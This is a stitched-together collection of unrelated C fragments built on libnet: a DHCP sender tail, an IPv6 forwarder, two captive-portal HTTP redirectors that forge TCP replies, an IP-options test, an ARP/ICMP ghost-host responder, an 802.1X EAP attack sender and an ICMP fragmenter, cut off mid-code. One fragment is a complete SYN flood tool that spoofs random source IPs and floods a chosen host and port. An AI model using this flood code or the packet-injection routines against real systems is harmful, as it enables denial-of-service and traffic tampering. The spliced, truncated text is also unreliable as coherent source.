0) printf("Error: reply_count value must be 0 or a positive integer (was: %s)\n", arg_reply_count); exit(1); } } if (arg_xid != NULL) { xid = strtoul(arg_xid, &stmp, 0); if (*stmp != '\0') { if (verbosity > 0) printf("Error: xid value must be 0 or a positive integer (was: %s)\n", arg_xid); exit(1); } } if (arg_flags != NULL) { unsigned long ultmp; ultmp = strtoul(arg_flags, &stmp, 0); if (*stmp != '\0' || ultmp > 65535) { if (verbosity > 0) printf("Error: flags value must be 0-65535 (was: %s)\n", arg_flags); exit(1); } flags = (u_int16_t)ultmp; } if (arg_sip != NULL) { sip = inet_addr(arg_sip); if (sip == INADDR_NONE) { if (verbosity > 0) printf("Error: specified sip value is not a valid IPv4 address (was: %s)\n", arg_sip); exit(1); } } if (arg_yip != NULL) { yip = inet_addr(arg_yip); if (yip == INADDR_NONE) { if (verbosity > 0) printf("Error: specified yip value is not a valid IPv4 address (was: %s)\n", arg_yip); exit(1); } } if (arg_gip != NULL) { gip = inet_addr(arg_gip); if (gip == INADDR_NONE) { if (verbosity > 0) printf("Error: specified gip value is not a valid IPv4 address (was: %s)\n", arg_gip); exit(1); } } if (arg_fname != NULL) { fname = (char *)malloc(strlen(fname)+1); strcpy(fname, arg_fname); } if (arg_sname != NULL) { sname = (char *)malloc(strlen(sname)+1); strcpy(sname, arg_sname); } if (arg_ipv4_src != NULL) { ipv4_src = inet_addr(arg_ipv4_src); if (ipv4_src == INADDR_NONE) { if (verbosity > 0) printf("Error: specified ipv4_src value is not a valid IPv4 address (was: %s)\n", arg_ipv4_src); exit(1); } } if (arg_ipv4_dst != NULL) { ipv4_dst = inet_addr(arg_ipv4_dst); if (ipv4_dst == INADDR_NONE) { if (verbosity > 0) printf("Error: specified ipv4_dst value is not a valid IPv4 address (was: %s)\n", arg_ipv4_dst); exit(1); } } if (arg_ipv4_ttl != NULL) { unsigned long ultmp; ultmp = strtoul(arg_ipv4_ttl, &stmp, 0); if (*stmp != '\0' || ultmp > 255) { if (verbosity > 0) printf("Error: ipv4_ttl value must be 0-255 (was: %s)\n", arg_xid); exit(1); } ipv4_ttl = (u_int8_t)ultmp; } if (arg_ipv4_tos != NULL) { unsigned long ultmp; ultmp = strtoul(arg_ipv4_tos, &stmp, 0); if (*stmp != '\0' || ultmp > 255) { if (verbosity > 0) printf("Error: ipv4_tos value must be 0-255 (was: %s)\n", arg_ipv4_tos); exit(1); } ipv4_tos = (u_int8_t)ultmp; } if (arg_ether_dst != NULL) { int l = ETHER_ADDR_LEN; /*ether_dst = libnet_hex_aton((int8_t *)arg_ether_dst, &l);*/ ether_dst = libnet_hex_aton(arg_ether_dst, &l); if (ether_dst == NULL) { if (verbosity > 0) printf("Error: invalid ethernet destination MAC specified (was: %s)\n", arg_ether_dst); exit(1); } } /****************************** * Done setting parameters. * * Start building DHCP packet * ******************************/ libnet_clear_packet(lnp); /* Build DHCP payload (DHCP options section) */ dhcp_payload = build_payload(&dhcp_payload_len); /* Create DHCP message */ ptag_dhcpv4 = libnet_build_dhcpv4(LIBNET_DHCP_REQUEST, BOOTP_HTYPE_ETHER, ETHER_ADDR_LEN, BOOTP_HOPCOUNT, xid, secs, flags, cip, yip, sip, gip, chaddr, sname, fname, dhcp_payload, dhcp_payload_len, lnp, 0); if (ptag_dhcpv4 == -1) { printf("Failed to build bootp packet: %s\n", libnet_errbuf); exit(1); } /* libnet_ptag_t libnet_build_udp(u_int16_t sp, u_int16_t dp, u_int16_t len, u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); */ /* Create UDP datagram */ ptag_udp = libnet_build_udp(UDP_SRCPORT, UDP_DSTPORT, dhcp_payload_len + LIBNET_DHCPV4_H + LIBNET_UDP_H, 0, NULL, 0, lnp, 0); if (ptag_udp == -1) { printf("Failed to build udp packet: %s\n", libnet_errbuf); exit(1); } /* libnet_ptag_t libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); */ /* Create IPv4 datagram */ ptag_ipv4 = libnet_build_ipv4(dhcp_payload_len + LIBNET_DHCPV4_H + LIBNET_UDP_H + LIBNET_IPV4_H, ipv4_tos, ipv4_id++, 0, ipv4_ttl, IPPROTO_UDP, 0, ipv4_src, ipv4_dst, NULL, 0, lnp, 0); if (ptag_ipv4 == -1) { printf("Failed to build ipv4 packet: %s\n", libnet_errbuf); exit(1); } /* Create ethernet packet */ ptag_ethernet = libnet_autobuild_ethernet(ether_dst, ETHERTYPE_IP, lnp); if (ptag_ethernet == -1) { printf("Failed to build ethernet packet: %s\n", libnet_errbuf); exit(1); } /* Write packet to network */ if (libnet_write(lnp) == -1) { printf("Failed to write ethernet packet to network: %s\n", libnet_errbuf); exit(1); } /* If we have to wait and listen for server replies, we use a timer and a signal handler to quit. We do this as libpcap doesn't support non-blocking packet capture on some (many?) platforms. We could have launched another thread also, but using timers and signals is simpler. */ if (timeout > 0) { struct itimerval itv; itv.it_interval.tv_sec = itv.it_value.tv_sec = timeout; itv.it_interval.tv_usec = itv.it_value.tv_usec = 0; setitimer(ITIMER_REAL, &itv, NULL); signal(SIGALRM, sighandler); pcap_loop(pcp, -1, pcap_callback, NULL); } libnet_destroy(lnp); pcap_close(pcp); exit(0); }
int main( int argc, char* argv[] ) { int socket; unsigned char data[1280]; int size; libnet_t *libnet_context; char libnet_errmsg_buf[LIBNET_ERRBUF_SIZE]; //socket = sock_afpacket( argv[1] ); socket = sock_udp( argv[2], strtoul(argv[3], NULL, 10 ) ); if ( socket == -1 ) { fprintf(stderr, "socket error\n"); return 1; } // libnetのコンテキスト作成 libnet_context = libnet_init(LIBNET_RAW6_ADV, NULL, libnet_errmsg_buf ); //libnet_context = libnet_init(LIBNET_RAW6_ADV, argv[1], libnet_errmsg_buf ); if ( NULL == libnet_context ) { fprintf(stderr, "%s\n", libnet_errmsg_buf ); close(socket); return 1; } for(;;) { libnet_ptag_t ptag_udp, ptag_ip6; uint8_t *pbuf; uint32_t payload_len; //afpacketからのデータ受信 //size = recv_packet( socket, sizeof(data), data ); //print_ipv6_header( data ); // UDPデータ受信 size = recv( socket, data, sizeof(data), MSG_TRUNC ); printf("data recieve. "); dump_packet( size, data ); putc('\n', stdout); // UDPヘッダ ptag_udp = libnet_build_udp( (uint16_t)(random()%(65535-49152)+49152), // source port(49152 - 65535) 53, // destination port sizeof(header_udp) + size, // length of UDP pakcet 0, // checksum(autofill) data, // payload size, // payload length libnet_context, 0 ); pbuf = libnet_getpbuf( libnet_context, ptag_udp ); payload_len = libnet_getpbuf_size( libnet_context, ptag_udp ); // IPv6ヘッダ ptag_ip6 = libnet_build_ipv6( 0, // Traffic Class 0, // Flow Label //sizeof(header_ipv6) + sizeof(header_udp) + size, // total length of the IP packet sizeof(header_udp) + size, // total length of the IP packet IPPROTO_UDP, // Next header(UDP) 10, // Hop Limit libnet_name2addr6( libnet_context, SRC_IP, LIBNET_DONT_RESOLVE ), // src ip libnet_name2addr6( libnet_context, DST_IP, LIBNET_DONT_RESOLVE ), // dst ip pbuf, // payload payload_len, // Payload Length libnet_context, 0 ); // 送信データ取得 pbuf = libnet_getpbuf( libnet_context, ptag_ip6 ); payload_len = libnet_getpbuf_size( libnet_context, ptag_ip6 ); // チェックサム計算←IPv6は未対応の模様 //libnet_do_checksum( libnet_context, pbuf, IPPROTO_UDP, payload_len ); printf("data sending. "); dump_packet( payload_len, pbuf ); // データ送信 //libnet_write_raw_ipv6( libnet_context, data, size ); libnet_write_raw_ipv6( libnet_context, pbuf, payload_len ); // 作成データ解放 libnet_clear_packet( libnet_context ); } return 0; }
int main(int argc, char *argv[]) { libnet_t *libnet_context; u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE]; int opt, byte_count, packet_size = LIBNET_IPV4_H + LIBNET_TCP_H; if(argc < 3) { printf("Usage:\n%s\t <target host> <target port>\n", argv[0]); exit(1); } libnet_context = libnet_init(LIBNET_RAW4, NULL, errbuf); // Init libnet context if ( libnet_context == NULL ) { fprintf(stderr, "libnet_init() failed: %s\n", errbuf); exit(EXIT_FAILURE); } dest_ip = libnet_name2addr4(libnet_context, argv[1], LIBNET_RESOLVE); // the host dest_port = (u_short) atoi(argv[2]); // the port libnet_seed_prand(libnet_context); // seed the random number generator printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip)); while(1) // loop forever (until break by CTRL-C) { libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // source TCP port (random) dest_port, // destination TCP port libnet_get_prand(LIBNET_PRu32), // sequence number (randomized) libnet_get_prand(LIBNET_PRu32), // acknowledgement number (randomized) TH_SYN, // control flags (SYN flag set only) libnet_get_prand(LIBNET_PRu16), // window size (randomized) 0, // checksum (0 autofill) 0, // urgent pointer LIBNET_TCP_H, // tcp packet length NULL, // payload (none) 0, // payload length libnet_context, // context 0); // ptag libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, // size of the packet sans IP header IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID (randomized) 0, // frag stuff libnet_get_prand(LIBNET_PR8), // TTL (randomized) IPPROTO_TCP, // transport protocol 0, // checksum libnet_get_prand(LIBNET_PRu32), // source IP (randomized) dest_ip, // destination IP NULL, // payload (none) 0, // payload length libnet_context, // libnet context 0); // ptag byte_count = libnet_write(libnet_context); // inject packet if ( byte_count != -1 ) printf("%d bytes written.\n", byte_count); else fprintf(stderr, "Error writing packet: %s\n",\ libnet_geterror(libnet_context)); libnet_clear_packet(libnet_context); // clear packet usleep(FLOOD_DELAY); // wait for FLOOD_DELAY milliseconds } libnet_destroy(libnet_context); // free packet memory return 0; }
static gboolean http_redirector( pcap_process_thread_param * param, gpointer user_data) { /******************************************************************* * here we use TCP * when we recv a SYN=1,ACK=0 packet, we just send a syn=1,ack=1 packet * that contains nothing * then we push a packet taht contains * HTTP/1.0 302 Found * Location: http://192.168.0.1/ * connection:close * * please visit http://192.168.0.1 * and then we reset the connection * ****************************************************************/ struct tcphdr * tcp_head; struct udphdr * udp_head; if(clientmgr_get_client_is_enable_by_mac(param->packet_linklayer_hdr+6)) { //继续交给后续代码处理 return FALSE ; } //非 enable 的客户端,现在要开始这般处理了,重定向到 ... 嘿嘿 struct iphdr * ip_head = (typeof(ip_head))(param->packet_ip_contents); if (ip_head->daddr == redirector_ip) { return TRUE; } if (ip_head->saddr == redirector_ip) { return TRUE; } //如果是在 white list .... if (whiteip && g_list_find(whiteip, GINT_TO_POINTER(ip_head->daddr))) return FALSE; if (whiteip && g_list_find(whiteip, GINT_TO_POINTER(ip_head->saddr))) return FALSE; // g_debug(_("thread %p is doing the redirect stuff"),g_thread_self()); //Retrive the tcp header and udp header tcp_head = (struct tcphdr*) ((char*) ip_head + ip_head->ihl * 4); udp_head = (struct udphdr*) ((char*) ip_head + ip_head->ihl * 4); #ifdef DEBUG_ONLY_HTTP_PORT if (tcp_head->dest != HTTP_PORT) return TRUE; #endif //初始化libnet,每个线程一个 libnet ;) init_thread_libnet(); // http 重定向 if(ip_head->protocol == IPPROTO_TCP && tcp_head->dest == HTTP_PORT) { u_int8_t tcp_flags = ((struct libnet_tcp_hdr *) tcp_head)->th_flags; if(tcp_flags == TH_SYN) { /******************************** * 对于这样的一个握手数据包 * 我们应该要建立连接了 * 回复一个syn ack 就是了 *********************************/ // here we just echo ack and syn. libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl( tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); libnet_write(libnet); libnet_clear_packet(libnet); libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl( tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); }else if (tcp_flags & (TH_ACK|TH_SYN) ) { /********************************************* *现在是发送页面的时候啦! *********************************************/ int SIZEHTTPHEAD = strlen((const char*) httphead); libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + ntohs(ip_head->tot_len) - 40, TH_ACK | TH_PUSH | TH_FIN, 4096, 0, 0, 20 + SIZEHTTPHEAD, httphead, SIZEHTTPHEAD, libnet, 0); libnet_build_ipv4(40 + SIZEHTTPHEAD, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); } else if (tcp_flags & (TH_FIN|TH_RST)) { /********************************************************* *好,现在结束连接! ********************************************************/ libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + 1, TH_ACK|TH_RST, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); printf("------------------------------------------------------------------------link disconnect\n"); }else{ return FALSE; } }//其他 TCP 直接 RST else if( ip_head->protocol == IPPROTO_TCP) { libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + 1, TH_ACK|TH_RST, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); }else if(ip_head->protocol == IPPROTO_UDP && udp_head->dest != DNS_PORT) { //现在是 UDP 的时代了 libnet_build_udp(ntohs(udp_head->dest),ntohs(udp_head->source), sizeof(blank)+sizeof(struct udphdr),0,blank,sizeof(blank),libnet,0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_UDP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); }else return FALSE; // if(param->linklayer_len == 14) // libnet_build_ethernet( // ((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_shost, // /((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_dhost, // ETHERTYPE_IP, 0, 0, libnet, 0); libnet_autobuild_ethernet( ((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_shost, ETHERTYPE_IP,libnet ); libnet_write(libnet); libnet_clear_packet(libnet); return TRUE; }
static int http_redirector(const char *packet_content) { /******************************************************************* * here we use TCP * when we recv a SYN=1,ACK=0 packet, we just send a syn=1,ack=1 packet * that contains nothing * then we push a packet taht contains * HTTP/1.0 302 Found * Location: http://192.168.0.1/ * connection:close * * please visit http://192.168.0.1 * and then we reset the connection * ****************************************************************/ struct tcphdr * tcp_head; struct udphdr * udp_head; struct ether_header *eptr; //以太网帧 struct iphdr *ip_head; if (packet_content == NULL) { return 1; } eptr = (struct ether_header *) packet_content; ip_head = (struct iphdr *) (packet_content + sizeof(struct ether_header)); //获得ip数据报的内存地址 //非 enable 的客户端,现在要开始这般处理了,重定向到 ... 嘿嘿 redirector_ip = inet_addr(conf.portal_server_ip); portal_dev = inet_addr(conf.portal_dev); if (ip_head->daddr == redirector_ip || ip_head->daddr == portal_dev) { return 1; } if (ip_head->saddr == redirector_ip || ip_head->saddr == portal_dev) { return 1; } struct in_addr tmp; tmp.s_addr = ip_head->daddr; if (search(ip_head->daddr) == 1) { printf("dip:%sok\n", inet_ntoa(tmp)); return 1; } tmp.s_addr = ip_head->saddr; if (search(ip_head->saddr) == 1) { // printf("sip:%sok\n", inet_ntoa(tmp)); return 1; } memset(httphead, 0, sizeof(httphead)); sprintf(httphead, "HTTP/1.0 302 Found\n" "Location: http://%s:5246/test/auth.jsp?sip=%s&portal_dev=%s&smac=%s\n" "Connection:close\n\n" "<html>\n\t<head>\n\t\t<meta http-equiv=\"Refresh\"content=\"0 ; " "url=http://%s:5246/test/auth.jsp?sip=%s&portal_dev=%s&smac=%s\">\n\t</head>\n</html>\n", conf.portal_server_ip, inet_ntoa(tmp), conf.portal_dev, smac, conf.portal_server_ip, inet_ntoa(tmp), conf.portal_dev, smac); // conf.authserver, inet_ntoa(tmp), conf.gateway, smac, // conf.authserver, inet_ntoa(tmp), conf.gateway, smac); printf("httphead:%s\n", httphead); //Retrive the tcp header and udp header tcp_head = (struct tcphdr*) ((char*) ip_head + ip_head->ihl * 4); udp_head = (struct udphdr*) ((char*) ip_head + ip_head->ihl * 4); //初始化libnet,每个线程一个 libnet ;) init_thread_libnet(); // http 重定向 if (ip_head->protocol == IPPROTO_TCP && ntohs(tcp_head->dest) == 80) { u_int8_t tcp_flags = ((struct libnet_tcp_hdr *) tcp_head)->th_flags; if (tcp_flags == TH_SYN) { /******************************** * 对于这样的一个握手数据包 * 我们应该要建立连接了 * 回复一个syn ack 就是了 *********************************/ // here we just echo ack and syn. libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl(tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); libnet_write(libnet); libnet_clear_packet(libnet); libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl(tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); } else if (tcp_flags & (TH_ACK | TH_SYN)) { /********************************************* *现在是发送页面的时候啦! *********************************************/ int SIZEHTTPHEAD = strlen((const char*) httphead); libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + ntohs(ip_head->tot_len) - 40, TH_ACK | TH_PUSH | TH_FIN, 4096, 0, 0, 20 + SIZEHTTPHEAD, httphead, SIZEHTTPHEAD, libnet, 0); libnet_build_ipv4(40 + SIZEHTTPHEAD, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); } else if (tcp_flags & (TH_FIN | TH_RST)) { /********************************************************* *好,现在结束连接! ********************************************************/ libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + 1, TH_ACK | TH_RST, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); printf( "------------------------------------------------------------------------link disconnect\n"); printf("smac:%s\n", smac); printf("sip:%sok\n", inet_ntoa(tmp)); } else { return 0; } } //其他 TCP 直接 RST else if (ip_head->protocol == IPPROTO_TCP) { libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + 1, TH_ACK | TH_RST, 4096, 0, 0, 20, 0, 0, libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); } else if (ip_head->protocol == IPPROTO_UDP && udp_head->dest != 53) { //现在是 UDP 的时代了 libnet_build_udp(ntohs(udp_head->dest), ntohs(udp_head->source), sizeof(blank) + sizeof(struct udphdr), 0, blank, sizeof(blank), libnet, 0); libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_UDP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0); } else return 0; libnet_autobuild_ethernet(eptr->ether_shost, ETHERTYPE_IP, libnet); libnet_write(libnet); libnet_clear_packet(libnet); return 1; }
int main(int argc, char *argv[]) { libnet_t *l; char *device = "eth0"; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ipo_ptag = 0; libnet_ptag_t ip_ptag = 0; libnet_ptag_t eth_ptag = 0; int ip_len = 0; l = libnet_init( LIBNET_LINK, device, errbuf); assert(l); printf("Packet: options=4, payload=0\n"); ip_len = 20 + 4 + 0; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 4); ip_ptag = build_ipv4(l, ip_ptag, 0, 24); eth_ptag = build_ethernet(l, eth_ptag); assert_lengths(l, 24, 6, 0); ipo_ptag = ip_ptag = eth_ptag = 0; libnet_clear_packet(l); printf("Packet: options=3, payload=1\n"); ip_len = 20 + 4 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 3); ip_ptag = build_ipv4(l, ip_ptag, 1, 25); eth_ptag = build_ethernet(l, eth_ptag); assert_lengths(l, 25, 6, 1); ipo_ptag = ip_ptag = eth_ptag = 0; libnet_clear_packet(l); printf("Packet: options=3, payload=1\n"); ip_len = 20 + 4 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 3); ip_ptag = build_ipv4(l, ip_ptag, 1, ip_len); eth_ptag = build_ethernet(l, eth_ptag); assert_lengths(l, 25, 6, 1); printf("... modify -> options=40\n"); ip_len = 20 + 40 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 40); assert_lengths(l, ip_len, 15, 1); printf("... modify -> options=0\n"); ip_len = 20 + 0 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 0); assert_lengths(l, ip_len, 5, 1); printf("... modify -> options=5\n"); ip_len = 20 + 8 + 1; /* ip + options + payload */ ipo_ptag = build_ipo(l, ipo_ptag, 5); assert_lengths(l, ip_len, 7, 1); printf("... modify -> ip_payload=5\n"); ip_len = 20 + 8 + 5; /* ip + options + payload */ ip_ptag = build_ipv4(l, ip_ptag, 5, ip_len); assert_lengths(l, ip_len, 7, 1); ipo_ptag = ip_ptag = eth_ptag = 0; libnet_clear_packet(l); return (EXIT_SUCCESS); }
int ether_handler(const u_char *bytes, bpf_u_int32 total_len, struct configuration *conf_data) { struct ether_header *headerEthernet = (struct ether_header *) bytes; // 'send' will determinate if a package injection is needed int send = 0; static u_int16_t last_ethertype = 0x0000; // Initial value isn't ETHERTYPE_IP nor ETHERTYPE_ARP switch(ntohs(headerEthernet->ether_type)){ case ETHERTYPE_IP: /* We can't modify the injected packet if it was initizialized as an ARP package, instead we have to clear it, and build it from the ground up, */ /* <<<<<WARNING - NOT THE PRETTIEST WAY TO DO THIS! */ if (last_ethertype != ETHERTYPE_IP){ libnet_clear_packet(conf_data->l); last_ethertype = ETHERTYPE_IP; *(conf_data->libnet_tags.ether_tag) = LIBNET_PTAG_INITIALIZER; *(conf_data->libnet_tags.arp_tag) = LIBNET_PTAG_INITIALIZER; } /* NOT THE PRETTIEST WAY TO DO THIS! - WARNING>>>>>> */ // 'send' will be true if the package contains an ICMP echo request for our ghost IP address send = ip_handler(bytes + sizeof(*headerEthernet), conf_data); break; case ETHERTYPE_ARP: /* We can't modify the injected packet if it was initizialized as an ICMP package, instead we have to clear it, and build it from the ground up, */ /* <<<<<WARNING - NOT THE PRETTIEST WAY TO DO THIS! */ if (last_ethertype != ETHERTYPE_ARP){ libnet_clear_packet(conf_data->l); last_ethertype = ETHERTYPE_ARP; *(conf_data->libnet_tags.ether_tag) = LIBNET_PTAG_INITIALIZER; *(conf_data->libnet_tags.ip_tag) = LIBNET_PTAG_INITIALIZER; *(conf_data->libnet_tags.icmp_tag) = LIBNET_PTAG_INITIALIZER; } /* NOT THE PRETTIEST WAY TO DO THIS! - WARNING>>>>>> */ // 'send' will be true if the package contains an ARP Request asking for our ghost IP address send = arp_handler(bytes + sizeof(*headerEthernet), total_len - sizeof(*headerEthernet), conf_data); break; } if (send){ *(conf_data->libnet_tags.ether_tag) = libnet_build_ethernet( headerEthernet->ether_shost, // Destination MAC Address conf_data->ghost_host.hrd_addr, // Source MAC Address ntohs(headerEthernet->ether_type), // Ethertype NULL, 0, // Payload (not considered in this layer), Payload Length conf_data->l, *(conf_data->libnet_tags.ether_tag)); // libnet_t pointer, libnet tag of this specific Ethernet header /* Auto-build is a simpler way to achieve packet injection, but it uses the device's real MAC address, instead of the ghost one that we created. (Can be used for debugging in certain cases). Can't be altered with the use of libnet tags!! libnet_autobuild_ethernet( headerEthernet->ether_shost, ntohs(headerEthernet->ether_type), conf_data->l); */ } return send; }
int8_t dot1x_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; int32_t payload_size=0; struct dot1x_data *dot1x_data; struct eap_header *eap_hdr; u_int8_t *payload=NULL, *cursor; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dot1x_data = attacks->data; dot1x_data->len = 4; if (dot1x_data->len >= sizeof(struct eap_header)) { write_log(0,"Payload = %d + 1 + 4\n",dot1x_data->eap_info_len); payload = (u_int8_t *)calloc(1,dot1x_data->eap_info_len+1+4); if (payload == NULL) { thread_error("dot1x_send calloc()",errno); return -1; } eap_hdr = (struct eap_header *)payload; eap_hdr->code = dot1x_data->eap_code; eap_hdr->id = dot1x_data->eap_id; cursor = (u_int8_t *)(eap_hdr+1); *cursor = dot1x_data->eap_type; if (dot1x_data->eap_info_len) memcpy((void *)(cursor+1),dot1x_data->eap_info,dot1x_data->eap_info_len); switch(dot1x_data->eap_code) { case DOT1X_EAP_RESPONSE: if (dot1x_data->eap_type == 0x01) /* Notification */ { dot1x_data->len = sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len; eap_hdr->len = htons(sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len); payload_size = sizeof(struct eap_header) + 1 + dot1x_data->eap_info_len; } else { dot1x_data->len = sizeof(struct eap_header) + 1; eap_hdr->len = htons(sizeof(struct eap_header)+1); payload_size = sizeof(struct eap_header) + 1; } break; case DOT1X_EAP_REQUEST: dot1x_data->len = sizeof(struct eap_header) + 1; eap_hdr->len = htons(sizeof(struct eap_header)+1); payload_size = sizeof(struct eap_header) + 1; break; default: dot1x_data->len = sizeof(struct eap_header); eap_hdr->len = htons(sizeof(struct eap_header)); payload_size = sizeof(struct eap_header); break; } } write_log(0,"Antes envio payload=%p psize=%d dot1x_data->len=%d\n",payload,payload_size,dot1x_data->len); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_1x( dot1x_data->version, dot1x_data->type, dot1x_data->len, payload, payload_size, lhandler, 0); if (t == -1) { thread_libnet_error("Can't build 802.1x header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_ethernet( dot1x_data->mac_dest, /* ethernet destination */ dot1x_data->mac_source, /* ethernet source */ ETHERTYPE_EAP, /* protocol type */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1X].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DOT1X]++; } if (payload) free(payload); return 0; }
void frag_and_send(u_int8_t *payload, u_int32_t total_pload_size) { /* Builds and sends the first packet, calling get_sum() to * * get the correct checksum for the ICMP packet (with the * * whole payload). Then builds and sends IP fragments * * until all the payload is sent. */ char ip_addr_str[16]; u_int32_t ip_addr, src_addr; u_int16_t id, seq, ip_id; /* hdr_offset = fragmentation flags + offset (in bytes) * * divided by 8 */ int pload_offset, hdr_offset; int bytes_written, max_pload_size, packet_pload_size; libnet_ptag_t ip_tag; /* Generating random IDs */ id = (u_int16_t)libnet_get_prand(LIBNET_PR16); /* We need a non-zero id number for the IP headers, * * otherwise libnet will increase it after each * * build_ipv4, breaking the fragments */ ip_id = (u_int16_t)libnet_get_prand(LIBNET_PR16); seq = 1; /* Getting IP addresses */ src_addr = libnet_get_ipaddr4(l); if (src_addr == -1) { fprintf(stderr, "Couldn't get own IP address: %s\n", libnet_geterror(l)); libnet_destroy(l); exit(EXIT_FAILURE); } printf("Destination IP address: "); scanf("%15s", ip_addr_str); ip_addr = libnet_name2addr4(l, ip_addr_str, LIBNET_DONT_RESOLVE); if (ip_addr == -1) { fprintf(stderr, "Error converting IP address.\n"); libnet_destroy(l); exit(EXIT_FAILURE); } /* Getting max payload size */ max_pload_size = (MTU - LIBNET_IPV4_H); /* making it a multiple of 8 */ max_pload_size -= (max_pload_size % 8); pload_offset = 0; /* Building the first packet, which carries the ICMP * * header */ /* We're doing (payload size - icmp header size) and not * * checking if it's a multiple of 8 because we know the * * header is 8 bytes long */ if (total_pload_size > (max_pload_size - LIBNET_ICMPV4_ECHO_H)) { hdr_offset = IP_MF; packet_pload_size = max_pload_size - LIBNET_ICMPV4_ECHO_H; } else { hdr_offset = 0; packet_pload_size = total_pload_size; } /* ICMP header */ if 